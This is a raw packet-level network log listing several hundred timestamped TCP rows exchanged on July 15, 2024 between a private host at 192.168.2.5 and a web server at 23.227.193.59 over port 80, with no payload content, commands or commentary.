Jul 15, 2024 00:48:36.336524963 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336536884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336538076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336546898 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336550951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336563110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336575985 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336580038 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336611032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336616993 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336622953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336636066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336647987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336648941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336661100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336672068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336673975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336699963 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336750984 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336762905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336772919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336786032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336796999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336796999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336812019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336821079 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336832047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336843014 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336849928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336854935 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336867094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336875916 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336880922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336891890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336894989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336908102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336919069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.336921930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.336946964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337163925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337174892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337187052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337198019 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337205887 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337209940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337222099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337229013 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337234020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337244034 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337253094 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337265968 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337272882 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337277889 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337289095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337300062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337301016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337311983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337321043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337325096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337338924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337352037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337353945 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337366104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337368965 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337378025 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337392092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.337394953 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.337430000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.365627050 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.365643978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.365655899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.365720034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.365726948 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.365732908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.365746021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.365758896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.365767002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.365796089 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.419595003 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.420530081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.420567989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.420579910 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.420613050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.420743942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.420785904 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.421066999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.421078920 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.421091080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.421108007 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.421117067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.421122074 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.421153069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.423645020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423688889 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.423742056 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423753977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423767090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423779011 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423789978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423790932 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.423810959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423814058 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.423826933 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423839092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423851967 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.423877954 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.423914909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423928022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423940897 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.423964977 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.424030066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.424042940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.424072027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425081015 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425156116 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425185919 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425199032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425245047 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425252914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425263882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425276995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425288916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425301075 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425328016 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425422907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425435066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425446987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425458908 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425470114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425471067 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425482988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425494909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425507069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425509930 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425533056 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425570011 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425601959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425621033 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425632000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425643921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425657034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425668955 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425676107 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425681114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425693989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425702095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425707102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425745010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425779104 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425791979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425802946 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425815105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425822973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425843000 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.425921917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425934076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425946951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425960064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425971031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425983906 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.425996065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426007032 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426009893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426022053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426034927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426048994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426057100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426080942 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426276922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426289082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426301003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426312923 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426326036 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426341057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426345110 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426356077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426368952 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426381111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426392078 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426404953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426412106 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426431894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426456928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426485062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426497936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426508904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426522017 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426529884 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426534891 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426548004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426554918 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426558018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426570892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426583052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426593065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426600933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426606894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426626921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.426947117 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426958084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426969051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426981926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426992893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.426994085 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.427006006 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.427016973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.427017927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.427030087 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.427031994 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.427057981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.429501057 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429512978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429523945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429538012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429549932 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429552078 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.429563046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429563999 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.429577112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429589987 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429593086 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.429603100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429614067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429616928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.429627895 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429640055 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429651976 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.429656982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.429691076 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.454304934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454335928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454345942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454385996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.454399109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454411983 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454423904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454438925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454444885 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.454452991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.454476118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.454499960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.509524107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509552002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509566069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509581089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509594917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509603024 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.509607077 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509618998 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509633064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.509633064 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.509670973 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.511948109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.511971951 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.511982918 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512008905 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.512120962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512134075 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512146950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512157917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512170076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512171030 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.512197018 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.512204885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512212038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.512222052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512243032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512254953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512267113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512269974 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.512279034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.512293100 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.512325048 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513123989 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513145924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513161898 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513189077 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513214111 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513226032 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513283014 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513292074 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513303995 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513314962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513330936 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513355017 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513416052 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513427973 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513438940 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513449907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513463020 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513470888 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513473034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513485909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513488054 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513499022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513516903 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513530016 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513540983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513544083 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513556957 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513570070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513582945 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513586044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513597012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513607979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513612986 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513619900 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513639927 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513642073 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513664007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513672113 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513684034 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513694048 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513705969 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513715982 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513720036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513736010 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513767004 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513858080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513881922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513895035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.513921022 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.513993979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514005899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514019012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514029026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514041901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514050961 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514072895 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514161110 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514173985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514189005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514202118 CEST	80	57614	23.227.193.59	192.168.2.5
